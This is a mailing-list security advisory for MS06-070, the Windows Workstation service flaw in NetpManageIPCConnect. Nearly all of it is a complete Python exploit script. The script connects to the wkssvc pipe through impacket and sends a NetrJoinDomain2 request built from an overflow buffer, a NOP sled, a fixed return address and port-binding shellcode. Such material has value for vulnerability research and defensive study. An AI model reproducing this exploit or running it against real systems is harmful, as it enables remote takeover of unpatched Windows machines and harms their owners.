The following security advisory is sent to the securiteam mailing list, and can
be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
The SecuriTeam alerts list - Free, Accurate, Independent.
Get your security news from a reliable source.
http://www.securiteam.com/mailinglist.html
- - - - - - - - -
Windows WorkStation NetpManageIPCConnect (MS06-070, Exploit)
------------------------------------------------------------------------
SUMMARY
A remote code execution vulnerability exists in the Workstation service
which could allow an attacker to take complete control of the affected
system.
DETAILS
Affected Software:
* Microsoft Windows 2000 Service Pack 4
* Microsoft Windows XP Service Pack 2
Exploit:
#!/usr/bin/python
# MS06-070 Windows WorkStation NetpManageIPCConnect Vulnerability Exploit
# Tested on windows 2000 server SP4
#
# Usage: python NetAPI-NetrJoinDomain2.py <target ip> <domainname>
# Requires a domain controller on the network (configure samba as DC)
# Requires python and impacket
#
# Winny M Thomas ;-)
from impacket.dcerpc import transport
from impacket import uuid
import sys
import socket
import struct
def DCEconnectAndExploit(target, domain):
baselen = 3708
stringbinding = "ncacn_np:%(host)s[\\pipe\\%(pipe)s]"
stringbinding %= {'host': target,'pipe': 'wkssvc','port': 445,}
print 'Connecting to named pipe (wkssvc)'
trans = transport.DCERPCTransportFactory(stringbinding)
trans.connect()
print 'Setting up DCE transport'
dce = trans.DCERPC_class(trans)
dce.bind(uuid.uuidtup_to_bin(('6bffd098-a112-3610-9833-46c3f87e345a','1.0')))
print 'Sending attack payload to target'
#NetrJoinDomain2 data: Hostname
query1 = "\xaa\xbb\xcc\xdd"
query1 += "\x07\x00\x00\x00"
query1 += "\x00\x00\x00\x00"
query1 += "\x07\x00\x00\x00"
query1 += "\x5C\x00\x5C\x00"
query1 += "\x41\x00\x55\x00"
query1 += "\x58\x00\x37\x00"
query1 += "\x00\x00\x00\x00"
#NetrJoinDomain2 data: Domain/Hostname
targetd = '\x00'.join(list(domain)) + '\x00'
Len = baselen + len(domain)
query2 = struct.pack('L', Len)
query2 += struct.pack('L', 0)
query2 += struct.pack('L', Len)
query2 += targetd
query3 = "\x5C\x00\x5C\x00\x76\x00\x90\x90"
query3 += "\x90\x90" * 1058
query3 += "\xEB\x06" #6 byte jump from current pointer in ebx
query3 += "\x27\x16\xE1\x77" #Address from user32.dll (0x77E11627)
#350 byte port binding shellcode
query3 += "\x90\x90\x90\x90\x90\x90"
query3 +=
"\x33\xc9\x83\xe9\xb0\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73"
query3 +=
"\x13\xe9\x59\x23\xce\x83\xeb\xfc\xe2\xf4\x15\x33\xc8\x83"
query3 +=
"\x01\xa0\xdc\x31\x16\x39\xa8\xa2\xcd\x7d\xa8\x8b\xd5\xd2"
query3 +=
"\x5f\xcb\x91\x58\xcc\x45\xa6\x41\xa8\x91\xc9\x58\xc8\x87"
query3 +=
"\x62\x6d\xa8\xcf\x07\x68\xe3\x57\x45\xdd\xe3\xba\xee\x98"
query3 +=
"\xe9\xc3\xe8\x9b\xc8\x3a\xd2\x0d\x07\xe6\x9c\xbc\xa8\x91"
query3 +=
"\xcd\x58\xc8\xa8\x62\x55\x68\x45\xb6\x45\x22\x25\xea\x75"
query3 +=
"\xa8\x47\x85\x7d\x3f\xaf\x2a\x68\xf8\xaa\x62\x1a\x13\x45"
query3 +=
"\xa9\x55\xa8\xbe\xf5\xf4\xa8\x8e\xe1\x07\x4b\x40\xa7\x57"
query3 +=
"\xcf\x9e\x16\x8f\x45\x9d\x8f\x31\x10\xfc\x81\x2e\x50\xfc"
query3 +=
"\xb6\x0d\xdc\x1e\x81\x92\xce\x32\xd2\x09\xdc\x18\xb6\xd0"
query3 +=
"\xc6\xa8\x68\xb4\x2b\xcc\xbc\x33\x21\x31\x39\x31\xfa\xc7"
query3 +=
"\x1c\xf4\x74\x31\x3f\x0a\x70\x9d\xba\x0a\x60\x9d\xaa\x0a"
query3 +=
"\xdc\x1e\x8f\x31\x32\x95\x8f\x0a\xaa\x2f\x7c\x31\x87\xd4"
query3 +=
"\x99\x9e\x74\x31\x3f\x33\x33\x9f\xbc\xa6\xf3\xa6\x4d\xf4"
query3 +=
"\x0d\x27\xbe\xa6\xf5\x9d\xbc\xa6\xf3\xa6\x0c\x10\xa5\x87"
query3 +=
"\xbe\xa6\xf5\x9e\xbd\x0d\x76\x31\x39\xca\x4b\x29\x90\x9f"
query3 +=
"\x5a\x99\x16\x8f\x76\x31\x39\x3f\x49\xaa\x8f\x31\x40\xa3"
query3 +=
"\x60\xbc\x49\x9e\xb0\x70\xef\x47\x0e\x33\x67\x47\x0b\x68"
query3 +=
"\xe3\x3d\x43\xa7\x61\xe3\x17\x1b\x0f\x5d\x64\x23\x1b\x65"
query3 +=
"\x42\xf2\x4b\xbc\x17\xea\x35\x31\x9c\x1d\xdc\x18\xb2\x0e"
query3 +=
"\x71\x9f\xb8\x08\x49\xcf\xb8\x08\x76\x9f\x16\x89\x4b\x63"
query3 +=
"\x30\x5c\xed\x9d\x16\x8f\x49\x31\x16\x6e\xdc\x1e\x62\x0e"
query3 +=
"\xdf\x4d\x2d\x3d\xdc\x18\xbb\xa6\xf3\xa6\x19\xd3\x27\x91"
query3 += "\xba\xa6\xf5\x31\x39\x59\x23\xce";
query3 += "\x90\x90" * 2467
query3 += "\x00\x00"
query3 += "\x00\x00\x00\x00"
query3 += "\x00\x00\x00\x00"
query3 += "\x00\x00\x00\x00"
query3 += "\x00\x00"
query3 += "\x01\x00\x00\x00"
query = query1 + query2 + query3
dce.call(0x16, query)
if __name__ == '__main__':
try:
target = sys.argv[1]
domain = sys.argv[2]
except IndexError:
print 'Usage: %s <target ip> <domain>' % sys.argv[0]
sys.exit(-1)
DCEconnectAndExploit(target, domain)
ADDITIONAL INFORMATION
The information has been provided by <http://www.milw0rm.com/> milw0rm.
The original article can be found at:
<http://www.milw0rm.com/exploits/2809>
http://www.milw0rm.com/exploits/2809
Related article(s):
<http://www.securiteam.com/windowsntfocus/6M00E1FHFG.html> Vulnerability
in Workstation Service Allows Code Execution (MS06-070)
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to:
list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to:
list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any
kind.
In no event shall we be liable for any damages whatsoever including direct,
indirect, incidental, consequential, loss of business profits or special
damages.
